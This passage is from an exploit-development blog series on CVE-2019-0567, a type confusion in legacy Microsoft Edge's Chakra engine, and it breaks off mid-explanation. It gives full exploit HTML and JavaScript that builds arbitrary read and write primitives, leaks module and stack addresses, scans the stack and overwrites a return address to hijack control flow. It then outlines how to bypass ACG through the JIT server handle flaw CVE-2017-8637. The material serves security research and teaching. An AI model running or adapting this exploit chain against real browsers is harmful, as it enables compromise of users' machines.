    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read
    // Return the array
    return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;
    let tmp = {__proto__: proto};
    o.a = value;
}
// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }
    let o = {a: 1, b: 2};
    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj
    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;
    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;
    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);
    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);
    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");
    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;
    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");
    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);
    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];
    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];
    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");
    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");
    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);
    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])
    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);
    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);
    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");
}
</script>

After running our exploit, we can see that we have successfully leaked a stack address.

From our experimenting earlier, the offsets between the leaked stack addresses have a certain degree of variance between script runs. Because of this, there is no way for us to compute the base and limit of the stack with our leaked address, as the offset is set to change. Because of this, we will forgo the process of computing the stack limit. Instead, we will perform our stack scanning for return addresses from the address we have currently leaked. Let’s recall a previous image outlining the stack limit of the thread where we leaked a stack address at the time of the leak.

As we can see, we are towards the base of the stack. Since the stack grows “downwards”, as we can see with the stack base being located at a higher address than the actual stack limit, we will do our scanning in “reverse” order, in comparison to part two. For our purposes, we will do stack scanning by starting at our leaked stack address and traversing backwards towards the stack limit (which is the highest, technically “lowest” address the stack can grow towards).

We already outlined in part two of this blog post the methodology I used in terms of leaking a return address to corrupt. As mentioned then, the process is as follows:

  1. Traverse the stack using read primitive
  2. Print out all contents of the stack that are possible to read
  3. Look for anything starting with 0x7fff, meaning an address from a loaded module like chakra.dll
  4. Disassemble the address to see if it is an actual return address

While omitting much of the code from our full exploit, a stack scan would look like this (a scan used just to print out return addresses):

(...)truncated(...)
// Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
// Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);
// Print update
document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
document.write("<br>");
// Counter variable
let counter = 0x6000;
// Loop
while (counter != 0)
{
    // Store the contents of the stack
    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);
    // Print update
    document.write("[+] Stack address 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter) + " contains: 0x" + hex(tempContents[1]) + hex(tempContents[0]));
    document.write("<br>");
    // Decrement the counter
    // This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
    counter -= 0x8;
}

As we can see above, we do this in “reverse” order of our ChakraCore exploit in part two. Since we don’t have the luxury of already knowing where the stack limit is, which is the “last” address that can be used by that thread’s stack, we can’t just traverse the stack by incrementing. Instead, since we are leaking an address towards the “base” of the stack, we have to decrement (since the stack grows downwards) towards the stack limit.

In other words, less technically, we have leaked somewhere towards the “bottom” of the stack and we want to walk towards the “top of the stack” in order to scan for return addresses. You’ll notice a few things about the previous code, the first being the arbitrary 0x6000 number. This number was found by trial and error. I started with 0x1000 and ran the loop to see if the exploit crashed. I kept incrementing the number until a crash started to ensue. A crash in this case refers to the fact we are likely reading from decommitted memory, meaning we will cause an access violation. The “gist” of this is to basically see how many bytes you can read without crashing, and those are the return addresses you can choose from. Here is how our output looks.

As we start to scroll down through the output, we can clearly see some return address starting to bubble up!

Since I already mentioned the “trial and error” approach in part two, which consists of overwriting a return address (after confirming it is one) and seeing if you end up controlling the instruction pointer by corrupting it, I won’t show this process here again. Just know, as mentioned, that this is just a matter of trial and error (in terms of my approach). The return address that I found worked best for me was chakra!Js::JavascriptFunction::CallFunction<1>+0x83 (again there is no “special” way to find it. I just started corrupting return address with 0x4141414141414141 and seeing if I caused an access violation with RIP being controlled to by the value 0x4141414141414141, or RSP being pointed to by this value at the time of the access violation).

This value can be seen in the stack leaking contents.

Why did I choose this return address? Again, it was an arduous process taking every stack address and overwriting it until one consistently worked. Additionally, a little less anecdotally, the symbol for this return address is with a function quite literally called CallFunction, which means its likely responsible for executing a function call of interpreted JavaScript. Because of this, we know a function will execute its code and then hand execution back to the caller via the return address. It is likely that this piece of code will be executed (the return address) since it is responsible for calling a function. However, there are many other options that you could choose from.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>
<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}
// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read
    // Return the array
    return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;
    let tmp = {__proto__: proto};
    o.a = value;
}
// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }
    let o = {a: 1, b: 2};
    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj
    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;
    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;
    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);
    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);
    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");
    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;
    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");
    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);
    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];
    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];
    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");
    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");
    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);
    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])
    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);
    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);
    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");
    // We can reliably traverse the stack 0x6000 bytes
    // Scan the stack for the return address below
    /*
    0:020> u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction<1>+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */
    // Creating an array to store the return address because read64() returns an array of 2 32-bit values
    var returnAddress = new Uint32Array(0x4);
    returnAddress[0] = chakraLo + 0xd4a73;
    returnAddress[1] = chakraHigh;
	// Counter variable
	let counter = 0x6000;
	// Loop
	while (counter != 0)
	{
	    // Store the contents of the stack
	    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);
	    // Did we find our target return address?
        if ((tempContents[0] == returnAddress[0]) && (tempContents[1] == returnAddress[1]))
        {
			document.write("[+] Found our return address on the stack!");
            document.write("<br>");
            document.write("[+] Target stack address: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter));
            document.write("<br>");
            // Break the loop
            break;
        }
        else
        {
        	// Decrement the counter
	    	// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
	    	counter -= 0x8;
        }
	}
	// Corrupt the return address to control RIP with 0x4141414141414141
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
}
</script>

Open the updated exploit.html script and attach WinDbg before pressing the Click me to exploit CVE-2019-0567! button.

After attaching to WinDbg and pressing g, go ahead and click the button (may require clicking twice in some instance to detonate the exploit). Please note that sometimes there is a slight edge case where the return address isn’t located on the stack. So if the debugger shows you crashing on the GetValue method, this is likely a case of that. After testing, 10/10 times I found the return address. However, it is possible once in a while to not encounter it. It is very rare.

After running exploit.html in the debugger, we can clearly see that we have overwritten a return address on the stack with 0x4141414141414141 and Edge is attempting to return into it. We have, again, successfully corrupted control-flow and can now redirect execution wherever we want in Edge. We went over all of this, as well, in part two of this blog series!

Now that we have our read/write primitive and control-flow hijacking ported to Edge, we can now begin our Edge-specific exploitation which involves many ROP chains to bypass Edge mitigations like Arbitrary Code Guard.

Arbitrary Code Guard && Code Integrity Guard

We are now at a point where our exploit has the ability to read/write memory, we control the instruction pointer, and we know where the stack is. With these primitives, exploitation should be as follows (in terms of where exploit development currently and traditionally is at):

  1. Bypass ASLR to determine memory layout (done)
  2. Achieve read/write primitive (done)
  3. Locate the stack (done)
  4. Control the instruction pointer (done)
  5. Write a ROP payload to the stack (TBD)
  6. Write shellcode to the stack (or somewhere else in memory) (TBD)
  7. Mark the stack (or regions where shellcode is) as RWX (TBD)
  8. Execute shellcode (TBD)

Steps 5 through 8 are required as a result of DEP. DEP, a mitigation which has been beaten to death, separates code and data segments of memory. The stack, being a data segment of memory (it is only there to hold data), is not executable whenever DEP is enabled. Because of this, we invoke a function like VirtualProtect (via ROP) to mark the region of memory we wrote our shellcode to (which is a data segment that allows data to be written to it) as RWX. I have documented this procedure time and time again. We leak an address (or abuse non-ASLR modules, which is very rare now), we use our primitive to write to the stack (stack-based buffer overflow in the two previous links provided), we mark the stack as RWX via ROP (the shellcode is also on the stack) and we are now allowed to execute our shellcode since its in a RWX region of memory. With that said, let me introduce a new mitigation into the fold - Arbitrary Code Guard (ACG).

ACG is a mitigation which prohibits any dynamically-generated RWX memory. This is manifested in a few ways, pointed out by Matt Miller in his blog post on ACG. As Matt points out:

“With ACG enabled, the Windows kernel prevents a content process from creating and modifying code pages in memory by enforcing the following policy:

  1. Code pages are immutable. Existing code pages cannot be made writable and therefore always have their intended content. This is enforced with additional checks in the memory manager that prevent code pages from becoming writable or otherwise being modified by the process itself. For example, it is no longer possible to use VirtualProtect to make an image code page become PAGE_EXECUTE_READWRITE.

  2. New, unsigned code pages cannot be created. For example, it is no longer possible to use VirtualAlloc to create a new PAGE_EXECUTE_READWRITE code page.”

What this means is that an attacker can write their shellcode to a data portion of memory (like the stack) all they want, gladly. However, the permissions needed (e.g. the memory must be explicitly marked executable by the adversary) can never be achieved with ACG enabled. At a high level, no memory permissions in Edge (specifically content processes, where our exploit lives) can be modified (we can’t write our shellcode to a code page nor can we modify a data page to execute our shellcode).

Now, you may be thinking - “Connor, instead of executing native shellcode in this manner, why don’t you just use WinExec like in your previous exploit from part two of this blog series to spawn cmd.exe or some other application to download some staged DLL and just load it into the process space?” This is a perfectly valid thought - and, thus, has already been addressed by Microsoft.

Edge has another small mitigation known as “no child processes”. This nukes any ability to spawn a child process to go inject some shellcode into another process, or load a DLL. Not only that, even if there was no mitigation for child processes, there is a “sister” mitigation to ACG called Code Integrity Guard (CIG) which also is present in Edge.

CIG essentially says that only Microsoft-signed DLLs can be loaded into the process space. So, even if we could reach out to a retrieve a staged DLL and get it onto the system, it isn’t possible for us to load it into the content process, as the DLL isn’t a signed DLL (inferring the DLL is a malicious one, it wouldn’t be signed).

So, to summarize, in Edge we cannot:

  1. Use VirtualProtect to mark the stack where our shellcode is to RWX in order to execute it
  2. We can’t use VirtualProtect to make a code page (RX memory) to writable in order to write our shellcode to this region of memory (using something like a WriteProcessMemory ROP chain)
  3. We cannot allocate RWX memory within the current process space using VirtualAlloc
  4. We cannot allocate RW memory with VirtualAlloc and then mark it as RX
  5. We cannot allocate RX memory with VirtualAlloc and then mark it as RW

With the advent of all three of these mitigations, previous exploitation strategies are all thrown out of the window. Let’s talk about how this changes our exploit strategy, now knowing we cannot just execute shellcode directly within the content process.

CVE-2017-8637 - Combining Vulnerabilities

As we hinted at, and briefly touched on earlier in this blog post, we know that something has to be done about JIT code with ACG enablement. This is because, by default, JIT code is generated as RWX. If we think about it, JIT’d code first starts out as an “empty” allocation (just like when we allocate some memory with VirtualAlloc). This memory is first marked as RW (it is writable because Chakra needs to actually write the code into it that will be executed into the allocation). We know that since there is no execute permission on this RW allocation, and this allocation has code that needs to be executed, the JIT engine has to change the region of memory to RX after its generated. This means the JIT engine has to generate dynamic code that has its memory permissions changed. Because of this, no JIT code can really be generated in an Edge process with ACG enabled. As pointed out in Matt’s blog post (and briefly mentioned by us) this architectural issue was addresses as follows:

“Modern web browsers achieve great performance by transforming JavaScript and other higher-level languages into native code. As a result, they inherently rely on the ability to generate some amount of unsigned native code in a content process. Enabling JIT compilers to work with ACG enabled is a non-trivial engineering task, but it is an investment that we’ve made for Microsoft Edge in the Windows 10 Creators Update. To support this, we moved the JIT functionality of Chakra into a separate process that runs in its own isolated sandbox. The JIT process is responsible for compiling JavaScript to native code and mapping it into the requesting content process. In this way, the content process itself is never allowed to directly map or modify its own JIT code pages.”

As we have already seen in this blog post, two processes are generated (JIT server and content process) and the JIT server is responsible for taking the JavaScript code from the content process and transforming it into machine code. This machine code is then mapped back into the content process with appropriate permissions (like that of the .text section, RX). The vulnerability (CVE-2017-8637) mentioned in this section of the blog post took advantage of a flaw in this architecture to compromise Edge fully and, thus, bypass ACG. Let’s talk about a bit about the architecture of the JIT server and content process communication channel first (please note that this vulnerability has been patched).

The last thing to note, however, is where Matt says that the JIT process was moved “…into a separate process that runs in its own isolated sandbox”. Notice how Matt did not say that it was moved into an ACG-compliant process (as we know, ACG isn’t compatible with JIT). Although the JIT process may be “sandboxed” it does not have ACG enabled. It does, however, have CIG and “no child processes” enabled. We will be taking advantage of the fact the JIT process doesn’t (and still to this day doesn’t, although the new V8 version of Edge only has ACG support in a special mode) have ACG enabled. With our ACG bypass, we will leverage a vulnerability with the way Chakra-based Edge managed communications (specifically via a process handle stored within the content process) to and from the JIT server. With that said, let’s move on.

Leaking The JIT Server Handle

The content process uses an RPC channel in order to communicate with the JIT server/process. I found this out by opening chakra.dll within IDA and searching for any functions which looked interesting and contained the word “JIT”. I found an interesting function named JITManager::ConnectRpcServer. What stood out to me immediately was a call to the function DuplicateHandle within JITManager::ConnectRpcServer.

If we look at ChakraCore we can see the source (which should be close between Chakra and ChakraCore) for this function. What was very interesting about this function is the fact that the first argument this function accepts is seemingly a “handle to the JIT process”.

Since chakra.dll contains the functionality of the Chakra JavaScript engine and since chakra.dll, as we know, is loaded into the content process - this functionality is accessible through the content process (where our exploit is running). This infers at some point the content process is doing something with what seems to be a handle to the JIT server. However, we know that the value of jitProcessHandle is supplied by the caller (e.g. the function which actually invokes JITManager::ConnectRpcServer). Using IDA, we can look for cross-references to this function to see what function is responsible for calling JITManager::ConnectRpcServer.

Taking a look at the above image, we can see the function ScriptEngine::SetJITConnectionInfo is responsible for calling JITManager::ConnectRpcServer and, thus, also for providing the JIT handle to the function. Let’s look at ScriptEngine::SetJITConnectionInfo to see exactly how this function provides the JIT handle to JITManager::ConnectRpcServer.

We know that the __fastcall calling convention is in use, and that the first argument of JITManager::ConnectRpcServer (as we saw in the ChakraCore code) is where the JIT handle goes. So, if we look at the above image, whatever is in RCX directly prior to the call to JITManager::ConnectRpcServer will be the JIT handle. We can see this value is gathered from a symbol called s_jitManager.

We know that this is the value that is going to be passed to the JITManager::ConnectRpcServer function in the RCX register - meaning that this symbol has to contain the handle to the JIT server. Let’s look again, once more, at JITManager::ConnectRpcServer (this time with some additional annotation).

We already know that RCX = s_jitManager when this function is executed. Looking deeper into the disassembly (almost directly before the DuplicateHandle call) we can see that s_jitManager+0x8 (a.k.a RCX at an offset of 0x8) is loaded into R14. R14 is then used as the lpTargetHandle parameter for the call to DuplicateHandle. Let’s take a look at DuplicateHandle’s prototype (don’t worry if this is confusing, I will provide a summation of the findings very shortly to make sense of this).

If we take a look at the description above, the lpTargetHandle will “…receive the duplicate handle…”. What this means is that DuplicateHandle is used in this case to duplicate a handle to the JIT server, and store the duplicated handle within s_jitManager+0x8 (a.k.a the content process will have a handle to the JIT server) We can base this on two things - the first being that we have anecdotal evidence through the name of the variable we located in ChakraCore, which is jitprocessHandle. Although Chakra isn’t identical to ChakraCore in every regard, Chakra is following the same convention here. Instead, however, of directly supplying the jitprocessHandle - Chakra seems to manage this information through a structure called s_jitManager. The second way we can confirm this is through hard evidence.

If we examine chakra!JITManager::s_jitManager+0x8 (where we have hypothesized the duplicated JIT handle will go) within WinDbg, we can clearly see that this is a handle to a process with PROCESS_DUP_HANDLE access. We can also use Process Hacker to examine the handles to and from MicrosoftEdgeCP.exe. First, run Process Hacker as an administrator. From there, double-click on the MicrosoftEdgeCP.exe content process (the one using the most RAM as we saw, PID 4172 in this case). From there, click on the Handles tab and then sort the handles numerically via the Handle tab by clicking on it until they are in ascending order.

If we then scroll down in this list of handles, we can see our handle of 0x314. Looking at the Name column, we can also see that this is a handle to another MicrosoftEdgeCP.exe process. Since we know there are only two (whenever exploit.html is spawned and no other tabs are open) instances of MicrosoftEdgeCP.exe, the other “content process” (as we saw earlier) must be our JIT server (PID 7392)!

Another way to confirm this is by clicking on the General tab of our content process (PID 4172). From there, we can click on the Details button next to Mitigation policies to confirm that ACG (called “Dynamic code prohibited” here) is enabled for the content process where our exploit is running.

However, if we look at the other content process (which should be our JIT server) we can confirm ACG is not running. Thus, indicating, we know exactly which process is our JIT server and which one is our content process. From now on, no matter how many instances of Edge are running on a given machine, a content process will always have a PROCESS_DUP_HANDLE handle to the JIT server located at chakra::JITManager::s_jitManager+0x8.

So, in summation, we know that s_jitManager+0x8 contains a handle to the JIT server, and it is readable from the content process (where our exploit is running). You may also be asking “why does the content process need to have a PROCESS_DUP_HANDLE handle to the JIT server?” We will come to this shortly.

Turning our attention back to the aforementioned analysis, we know we have a handle to the JIT server. You may be thinking - we could essentially just use our arbitrary read primitive to obtain this handle and then use it to perform some operations on the JIT process, since the JIT process doesn’t have ACG enabled! This may sound very enticing at first. However, let’s take a look at a malicious function like VirtualAllocEx for a second, which can allocate memory within a remote process via a supplied process handle (which we have). VirtualAllocEx documentation states that:

The handle must have the PROCESS_VM_OPERATION access right. For more information, see Process Security and Access Rights.

This “kills” our idea in its tracks - the handle we have only has the permission PROCESS_DUP_HANDLE. We don’t have the access rights to allocate memory in a remote process where perhaps ACG is disabled (like the JIT server). However, due to a vulnerability (CVE-2017-8637), there is actually a way we can abuse the handle stored within s_jitManager+0x8 (which is a handle to the JIT server). To understand this, let’s just take a few moments to understand why we even need a handle to the JIT server, from the content process, in the first place.

Let’s now turn out attention to this this Google Project Zero issue regarding the CVE.

We know that the JIT server (a different process) needs to map JIT’d code into the content process. As the issue explains:

In order to be able to map executable memory in the calling process, JIT process needs to have a handle of the calling process. So how does it get that handle? It is sent by the calling process as part of the ThreadContext structure. In order to send its handle to the JIT process, the calling process first needs to call DuplicateHandle on its (pseudo) handle.

The above is self explanatory. If you want to do process injection (e.g. map code into another process) you need a handle to that process. So, in the case of the JIT server - the JIT server knows it is going to need to inject some code into the content process. In order to do this, the JIT server needs a handle to the content process with permissions such as PROCESS_VM_OPERATION. So, in order for the JIT process to have a handle to the content process, the content process (as mentioned above) shares it with the JIT process. However, this is where things get interesting.

The way the content process will give its handle to the JIT server is by duplicating its own pseudo handle. According to Microsoft, a pseudo handle:

… is a special constant, currently (HANDLE)-1, that is interpreted as the current process handle.

So, in other words, a pseudo handle is a handle to the current process and it is only valid within context of the process it is generated in. So, for example, if the content process called GetCurrentProcess to obtain a pseudo handle which represents the content process (essentially a handle to itself), this pseudo handle wouldn’t be valid within the JIT process. This is because the pseudo handle only represents a handle to the process which called GetCurrentProcess. If GetCurrentProcess is called in the JIT process, the handle generated is only valid within the JIT process. It is just an “easy” way for a process to specify a handle to the current process. If you supplied this pseudo handle in a call to WriteProcessMemory, for instance, you would tell WriteProcessMemory “hey, any memory you are about to write to is found within the current process”. Additionally, this pseudo handle has PROCESS_ALL_ACCESS permissions.

Now that we know what a pseudo handle is, let’s revisit this sentiment:

The way the content process will give its handle to the JIT server is by duplicating its own pseudo handle.

What the content process will do is obtain its pseudo handle by calling GetCurrentProcess (which is only valid within the content process). This handle is then used in a call to DuplicateHandle. In other words, the content process will duplicate its pseudo handle. You may be thinking, however, “Connor you just told me that a pseudo handle can only be used by the process which called GetCurrentProcess. Since the content process called GetCurrentProcess, the pseudo handle will only be valid in the content process. We need a handle to the content process that can be used by another process, like the JIT server. How does duplicating the handle change the fact this pseudo handle can’t be shared outside of the content process, even though we are duplicating the handle?”

The answer is pretty straightforward - if we look in the GetCurrentProcess Remarks section we can see the following text:

A process can create a “real” handle to itself that is valid in the context of other processes, or that can be inherited by other processes, by specifying the pseudo handle as the source handle in a call to the DuplicateHandle function.

So, even though the pseudo handle only represents a handle to the current process and is only valid within the current process, the DuplicateHandle function has the ability to convert this pseudo handle, which is only valid within the current process (in our case, the current process is the content process where the pseudo handle to be duplicated exists) into an actual or real handle which can be leveraged by other processes. This is exactly why the content process will duplicate its pseudo handle - it allows the content process to create an actual handle to itself, with PROCESS_ALL_ACCESS permissions, which can be actively used by other processes (in our case, this duplicated handle can be used by the JIT server to map JIT’d code into the content process).

So, in totality, it’s possible for the content process to call GetCurrentProcess (which returns a PROCESS_ALL_ACCESS handle to the content process) and then use DuplicateHandle to duplicate this handle for the JIT server to use. However, where things get interesting is the third parameter of DuplicateHandle, which is hTargetProcessHandle. This parameter has the following description:

A handle to the process that is to receive the duplicated handle. The handle must have the PROCESS_DUP_HANDLE access right…

In our case, we know that the “process that is to receive the duplicated handle” is the JIT server. After all, we are trying to send a (duplicated) content process handle to the JIT server. This means that when the content process calls DuplicateHandle in order to duplicate its handle for the JIT server to use, according to this parameter, the JIT server also needs to have a handle to the content process with PROCESS_DUP_HANDLE. If this doesn’t make sense, re-read the description provided of hTargetProcessHandle. This is saying that this parameter requires a handle to the process where the duplicated handle is going to go (specifically a handle with PROCESS_DUP_HANDLE) permissions.

This means, in less words, that if the content process wants to call DuplicateHandle in order to send/share its handle to/with the JIT server so that the JIT server can map JIT’d code into the content process, the content process also needs a PROCESS_DUP_HANDLE to the JIT server.

This is the exact reason why the s_jitManager structure in the content process contains a PROCESS_DUP_HANDLE to the JIT server. Since the content process now has a PROCESS_DUP_HANDLE handle to the JIT server (s_jitManager+0x8), this s_jitManager+0x8 handle can be passed in to the hTargetProcessHandle parameter when the content process duplicates its handle via DuplicateHandle for the JIT server to use. So, to answer our initial question - the reason why this handle exists (why the content process has a handle to the JIT server) is so DuplicateHandle calls succeed where content processes need to send their handle to the JIT server!

As a point of contention, this architecture is no longer used and the issue was fixed according to Ivan:

This issue was fixed by using an undocumented system_handle IDL attribute to transfer the Content Process handle to the JIT Process. This leaves handle passing in the responsibility of the Windows RPC mechanism, so Content Process no longer needs to call DuplicateHandle() or have a handle to the JIT Process.

So, to beat this horse to death, let me concisely reiterate one last time:

  1. JIT process wants to inject JIT’d code into the content process. It needs a handle to the content process to inject this code
  2. In order to fulfill this need, the content process will duplicate its handle and pass it to the JIT server
  3. In order for a duplicated handle from process “A” (the content process) to be used by process “B” (the JIT server), process “B” (the JIT server) first needs to give its handle to process “A” (the content process) with PROCESS_DUP_HANDLE permissions. This is outlined by hTargetProcessHandle which requires “a handle to the process that is to receive the duplicated handle” when the content process calls DuplicateHandle to send its handle to the JIT process
  4. Content process first stores a handle to the JIT server with PROCESS_DUP_HANDLE to fulfill the needs of hTargetProcessHandle
  5. Now that the content process has a PROCESS_DUP_HANDLE to the JIT server, the content process can call DuplicateHandle to duplicate its own handle and pass it to the JIT server
  6. JIT server now has a handle to the content process

The issue with this is number three, as outlined by Microsoft:

